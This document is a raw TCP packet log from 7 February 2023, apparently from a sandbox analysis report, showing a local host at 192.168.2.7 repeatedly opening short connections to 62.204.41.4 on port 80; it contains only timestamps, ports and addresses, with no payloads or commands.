Feb 7, 2023 23:09:39.921817064 CET	80	50280	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.921971083 CET	50280	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.926137924 CET	50280	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:39.988720894 CET	80	50280	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.991081953 CET	80	50280	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:39.991244078 CET	50280	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.107211113 CET	50280	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.107908964 CET	50281	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.168072939 CET	80	50281	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.168243885 CET	50281	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.169632912 CET	80	50280	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.169733047 CET	50280	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.172673941 CET	50281	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.232845068 CET	80	50281	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.234992981 CET	80	50281	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.235088110 CET	50281	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.339930058 CET	50281	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.342751026 CET	50282	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.400199890 CET	80	50281	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.402009010 CET	50281	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.404365063 CET	80	50282	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.408585072 CET	50282	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.408973932 CET	50282	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.470513105 CET	80	50282	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.473009109 CET	80	50282	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.473411083 CET	50282	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.590058088 CET	50282	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.591167927 CET	50283	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.651881933 CET	80	50282	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.652482033 CET	80	50283	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.652650118 CET	50282	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.652726889 CET	50283	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.653335094 CET	50283	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.714998960 CET	80	50283	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.716855049 CET	80	50283	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.717128992 CET	50283	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.849143028 CET	50283	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.850483894 CET	50284	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.910536051 CET	80	50283	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.910938978 CET	50283	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.911791086 CET	80	50284	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.911958933 CET	50284	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.912416935 CET	50284	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:40.973843098 CET	80	50284	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.976260900 CET	80	50284	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:40.976475000 CET	50284	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.090754032 CET	50284	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.091772079 CET	50285	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.152415037 CET	80	50284	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.152935028 CET	50284	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.154256105 CET	80	50285	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.154541016 CET	50285	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.160718918 CET	50285	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.223218918 CET	80	50285	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.225387096 CET	80	50285	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.227077007 CET	50285	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.339498043 CET	50285	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.340646982 CET	50286	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.401982069 CET	80	50286	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.402026892 CET	80	50285	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.402230978 CET	50285	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.402240038 CET	50286	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.402786016 CET	50286	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.464016914 CET	80	50286	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.466211081 CET	80	50286	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.466454029 CET	50286	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.581238031 CET	50286	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.582024097 CET	50287	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.642462969 CET	80	50287	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.642640114 CET	80	50286	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.642719984 CET	50287	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.642765999 CET	50286	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.643241882 CET	50287	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.703705072 CET	80	50287	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.706674099 CET	80	50287	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.706909895 CET	50287	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.822740078 CET	50287	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.823566914 CET	50288	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.883228064 CET	80	50287	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.883486986 CET	50287	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.885181904 CET	80	50288	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.885426998 CET	50288	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.886672974 CET	50288	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:41.948959112 CET	80	50288	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.951152086 CET	80	50288	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:41.951376915 CET	50288	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.059113979 CET	50288	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.060009003 CET	50289	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.120202065 CET	80	50289	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.120443106 CET	50289	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.120559931 CET	80	50288	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.120649099 CET	50288	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.121098995 CET	50289	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.181276083 CET	80	50289	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.188054085 CET	80	50289	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.188266993 CET	50289	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.294308901 CET	50289	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.295418024 CET	50290	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.355756998 CET	80	50289	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.355797052 CET	80	50290	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.356029034 CET	50289	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.356086969 CET	50290	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.372267008 CET	50290	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.433010101 CET	80	50290	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.435712099 CET	80	50290	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.435864925 CET	50290	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.542599916 CET	50290	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.545067072 CET	50291	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.603540897 CET	80	50290	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.603704929 CET	50290	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.606852055 CET	80	50291	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.607057095 CET	50291	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.607616901 CET	50291	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.669068098 CET	80	50291	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.672527075 CET	80	50291	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.672667027 CET	50291	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.779267073 CET	50291	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.780347109 CET	50292	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.840107918 CET	80	50291	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.840202093 CET	50291	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.841505051 CET	80	50292	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.841645956 CET	50292	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.847677946 CET	50292	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:42.909070015 CET	80	50292	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.913094997 CET	80	50292	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:42.913300991 CET	50292	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.033735991 CET	50292	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.034991980 CET	50293	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.097120047 CET	80	50292	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.097157001 CET	80	50293	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.097284079 CET	50292	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.097378016 CET	50293	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.101385117 CET	50293	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.164058924 CET	80	50293	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.169070959 CET	80	50293	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.169313908 CET	50293	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.277791977 CET	50293	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.278882027 CET	50294	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.339368105 CET	80	50293	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.339555025 CET	50293	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.343692064 CET	80	50294	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.343859911 CET	50294	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.344389915 CET	50294	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.406811953 CET	80	50294	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.409266949 CET	80	50294	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.409440041 CET	50294	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.546911001 CET	50294	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.548011065 CET	50295	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.607362986 CET	80	50295	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.607618093 CET	50295	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.609313011 CET	80	50294	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.609435081 CET	50294	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.610527039 CET	50295	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.669871092 CET	80	50295	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.672183037 CET	80	50295	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.672358990 CET	50295	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.781267881 CET	50295	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.782288074 CET	50296	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.840723991 CET	80	50295	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.840854883 CET	50295	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.842648983 CET	80	50296	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.842801094 CET	50296	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.846360922 CET	50296	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:43.906719923 CET	80	50296	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.909090042 CET	80	50296	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:43.909223080 CET	50296	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.033266068 CET	50296	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.034051895 CET	50297	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.093851089 CET	80	50296	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.093957901 CET	50296	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.096360922 CET	80	50297	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.096461058 CET	50297	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.097127914 CET	50297	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.159353971 CET	80	50297	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.163500071 CET	80	50297	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.163614035 CET	50297	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.276725054 CET	50297	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.278002977 CET	50298	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.338790894 CET	80	50298	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.338987112 CET	80	50297	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.339162111 CET	50297	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.339807987 CET	50298	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.339808941 CET	50298	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.400464058 CET	80	50298	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.403513908 CET	80	50298	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.405227900 CET	50298	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.527004004 CET	50298	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.527924061 CET	50299	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.588017941 CET	80	50298	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.589238882 CET	50298	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.590601921 CET	80	50299	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.593286991 CET	50299	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.598784924 CET	50299	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.661683083 CET	80	50299	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.664676905 CET	80	50299	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.664901972 CET	50299	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.777930975 CET	50299	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.780225992 CET	50300	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.840816975 CET	80	50300	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.840879917 CET	80	50299	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.841116905 CET	50299	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.841140985 CET	50300	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.841607094 CET	50300	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:44.902122974 CET	80	50300	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.907110929 CET	80	50300	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:44.907291889 CET	50300	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.011249065 CET	50300	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.012258053 CET	50301	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.072004080 CET	80	50300	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.072180986 CET	50300	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.072336912 CET	80	50301	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.072444916 CET	50301	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.082072020 CET	50301	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.142417908 CET	80	50301	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.146536112 CET	80	50301	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.149262905 CET	50301	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.261977911 CET	50301	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.263051033 CET	50302	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.322232008 CET	80	50301	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.322334051 CET	50301	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.323422909 CET	80	50302	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.323535919 CET	50302	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.325484991 CET	50302	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.385922909 CET	80	50302	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.388547897 CET	80	50302	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.388634920 CET	50302	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.510387897 CET	50302	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.511281967 CET	50303	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.571014881 CET	80	50302	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.571165085 CET	50302	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.571468115 CET	80	50303	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.571568966 CET	50303	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.572465897 CET	50303	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.632656097 CET	80	50303	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.634674072 CET	80	50303	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.634788990 CET	50303	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.745407104 CET	50303	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.746298075 CET	50304	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.805600882 CET	80	50304	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.805807114 CET	80	50303	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.805826902 CET	50304	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.805898905 CET	50303	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.806701899 CET	50304	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.865885973 CET	80	50304	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.867981911 CET	80	50304	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:45.868072033 CET	50304	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.980856895 CET	50304	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:45.982901096 CET	50305	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.040328026 CET	80	50304	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.040596962 CET	50304	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.044377089 CET	80	50305	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.044636965 CET	50305	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.051156044 CET	50305	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.112718105 CET	80	50305	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.116750956 CET	80	50305	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.117058992 CET	50305	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.229377985 CET	50305	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.230180025 CET	50306	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.290769100 CET	80	50305	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.290815115 CET	80	50306	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.290956020 CET	50305	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.291030884 CET	50306	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.316046000 CET	50306	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.376648903 CET	80	50306	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.379158020 CET	80	50306	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.379354954 CET	50306	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.506043911 CET	50306	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.506967068 CET	50307	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.566729069 CET	80	50306	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.566853046 CET	50306	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.567308903 CET	80	50307	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.567411900 CET	50307	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.569596052 CET	50307	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.629997969 CET	80	50307	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.632174015 CET	80	50307	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.632325888 CET	50307	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.746306896 CET	50307	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.747112036 CET	50308	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.806793928 CET	80	50307	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.806962013 CET	50307	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.809824944 CET	80	50308	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.810002089 CET	50308	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.817929983 CET	50308	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.880978107 CET	80	50308	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.883155107 CET	80	50308	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:46.883286953 CET	50308	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:46.999286890 CET	50308	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.000128984 CET	50309	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.061669111 CET	80	50309	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.061816931 CET	50309	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.061979055 CET	80	50308	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.062062025 CET	50308	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.063196898 CET	50309	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.124341965 CET	80	50309	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.130172968 CET	80	50309	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.130319118 CET	50309	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.250991106 CET	50309	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.252089024 CET	50310	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.312618971 CET	80	50309	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.313267946 CET	50309	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.314614058 CET	80	50310	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.314801931 CET	50310	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.315519094 CET	50310	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.378038883 CET	80	50310	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.380167007 CET	80	50310	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.380300999 CET	50310	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.496119022 CET	50310	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.497255087 CET	50311	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.557667971 CET	80	50311	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.558469057 CET	80	50310	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.558679104 CET	50310	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.558752060 CET	50311	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.562395096 CET	50311	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.623074055 CET	80	50311	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.626136065 CET	80	50311	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.626367092 CET	50311	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.730962038 CET	50311	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.732047081 CET	50312	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.791695118 CET	80	50311	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.792193890 CET	50311	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.793291092 CET	80	50312	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.795480967 CET	50312	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.795938015 CET	50312	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.857297897 CET	80	50312	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.859386921 CET	80	50312	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:47.859586954 CET	50312	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.964124918 CET	50312	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:47.965070963 CET	50313	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:48.024473906 CET	80	50313	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:48.025412083 CET	80	50312	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:48.025515079 CET	50313	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:48.025574923 CET	50312	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:48.033864975 CET	50313	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:48.093153954 CET	80	50313	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:48.097645998 CET	80	50313	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:48.101542950 CET	50313	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:48.221230984 CET	50313	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:48.238168001 CET	50314	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:48.280714035 CET	80	50313	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:48.280828953 CET	50313	80	192.168.2.7	62.204.41.4
